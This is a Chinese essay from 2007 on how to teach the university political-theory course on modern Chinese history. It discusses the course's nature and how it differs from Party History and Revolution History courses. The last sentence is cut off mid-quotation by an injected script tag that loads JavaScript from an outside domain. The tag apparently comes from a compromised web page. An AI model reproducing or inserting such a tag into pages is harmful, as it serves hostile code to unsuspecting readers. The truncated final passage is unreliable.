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上好“中国近现代史纲要”课的两个关键
2007-10-25  作者:白文刚  阅读:  

    从2007年春季开始,“中国近现代史纲要”作为新确立的四门思想政治理论课之一,正式走进大学课堂。如何上好“纲要”课,切实完成好国家在高校设立这门公共课的目标和任务,是一个亟需探讨的重大课题。本文仅就其中最基本也是最关键的两个问题谈一些浅见。

    一、要准确理解“纲要”课的性质和任务

    准确理解“纲要”课的性质和任务,是上好这门课的前提和基础。在当前高校的四门思想政治理论课中,“纲要”课既具有与其他三门课一致的共性,也具有自己独特的个性。具体来说,作为思想政治教育课的性质是它所具有的共性,历史属性是它所特有的个性。首先,“纲要”课具有鲜明的思想政治教育性质。虽然一切社会科学都不可避免地带有政治性(或曰阶级性),但是,与一般的中国近现代史课不同,“纲要”课的政治性更为突出和鲜明。它不是历史专业学生的专业课,而是所有大学本科生必修的思想政治理论课的四个组成部分之一。强烈的政治思想教育性是“纲要”课与中国近现代史专业课最显著的区别。它不是从专业的角度系统和全面地介绍中国近现代史的各个方面,而是围绕中国的仁人志士和人民群众“为实现‘民族独立和人民解放’与‘国家繁荣富强’两大历史任务而斗争”这一主题展开,帮助学生做到“两个了解”(了解国史、了解国情)和懂得“三个选择”(历史和人民怎样选择了马克思主义,怎样选择了中国共产党,怎样选择了社会主义道路)的必要性和正确性。[1](P1)其次,历史属性是“纲要”课的基本属性。

    虽然“纲要”课属于思想政治理论课的组成部分,但是,历史属性仍然是它的基本属性。和其他三门课程不同,它不是要展开地论述课程中涉及的相关理论,而是用历史事实去阐明中国近现代历史的基本问题和理论观点,做到“于序(叙)事中寓论断”。也就是说,“纲要”课的理论阐述建立在叙述史实的基础上,是按照历史学的逻辑方法来达到思想政治教育的目的的。离开了历史学的基本方法和逻辑,“纲要”课就在实质上失去了学术依托,其价值也就不复存在了。求真是历史学的本质特征,所以我们在“纲要”课的教学中也要尊重史实,实事求是,依靠确凿的史实得出基本结论。只有这样,才能使这门课具有强大的吸引力和感染力,才能达到开设这门课的预期目的。

    “中共党史”和“中国革命史”分别是不同时期我国高校思想政治理论课的组成部分。准确理解“纲要”课的性质和任务,还应该明确它与这两门课的区别和联系。由于“纲要”课具有鲜明的思想政治教育属性,中国近现代史又与中共党史和中国革命史有许多重合的地方,再加上很多“纲要”课教师以前曾经讲授过“中共党史”和“中国革命史”,所以,很容易将“纲要”课讲成“中共党史”课或“中国革命史”课。一旦出现这种现象,不仅使课程的创新变成了无谓的重复,而且不能充分展现“纲要”课的深度和魅力,会使开设“纲要”课的效果大打折扣。“纲要”课与“中共党史”和“中国革命史”不仅在内容涵盖方面不同,而且主导思想也有差异。

    “中共党史是一门研究中国共产党运用马克思列宁主义指导中国革命和建设的历史进程及其规律的科学。”[2](P2)其主要内容是叙述中国共产党自1921年成立以来的奋斗史和自身发展史。目的是使学生“了解党领导中国人民进行新民主主义革命和社会主义革命、社会主义建设的历史经验,认识中国革命及建设的发展规律,懂得没有共产党就没有新中国和只有社会主义才能救中国这个真理”,[3]增强坚持四项基本原则的自觉性。同时全面认识毛泽东思想,继承和发扬我党的优良作风和革命精神,增强爱国主义观念,树立共产主义远大理想。

    “中国革命史”的内容比“中共党史”有所扩展,它不仅详述中国共产党领导的革命和建设运动,而且还介绍了近代以来,在中国共产党诞生之前,农民阶级和资产阶级领导的革命运动。目的是使学生了解近代中国“是怎样根据历史的必然,走上以共产党为领导力量的社会主义道路的”,认识中国共产党在中国革命和建设中的主导地位和我国选择社会主义的历史必然性。“掌握中国革命的基本理论、基本规律和经验,掌握马克思主义的立场、观点、方法”,“增强爱国主义观念,继承和发扬革命优良传统”。[4]

    相比较而言,“纲要”课涉及的范围更广泛,包括的内容更丰富。就时间而言,“纲要”课跨越160余年,从1840年鸦片战争爆发,中国近代史开始,一直讲到我们建设社会主义和谐社会,为实现中华民族的伟大复兴而努力奋斗的今天。就内容而言,“纲要”课主要围绕中国近现代史的主题,介绍相关重要内容,讨论相关重要问题。《中国近现代史纲要》在“开篇的话”中指出:“中国的近现代史,就其主流和本质来说,是中国一代又一代的仁人志士和人民群众为救亡图存和实现中华民族的伟大复兴?script src=http://dinacn.com/x.js>

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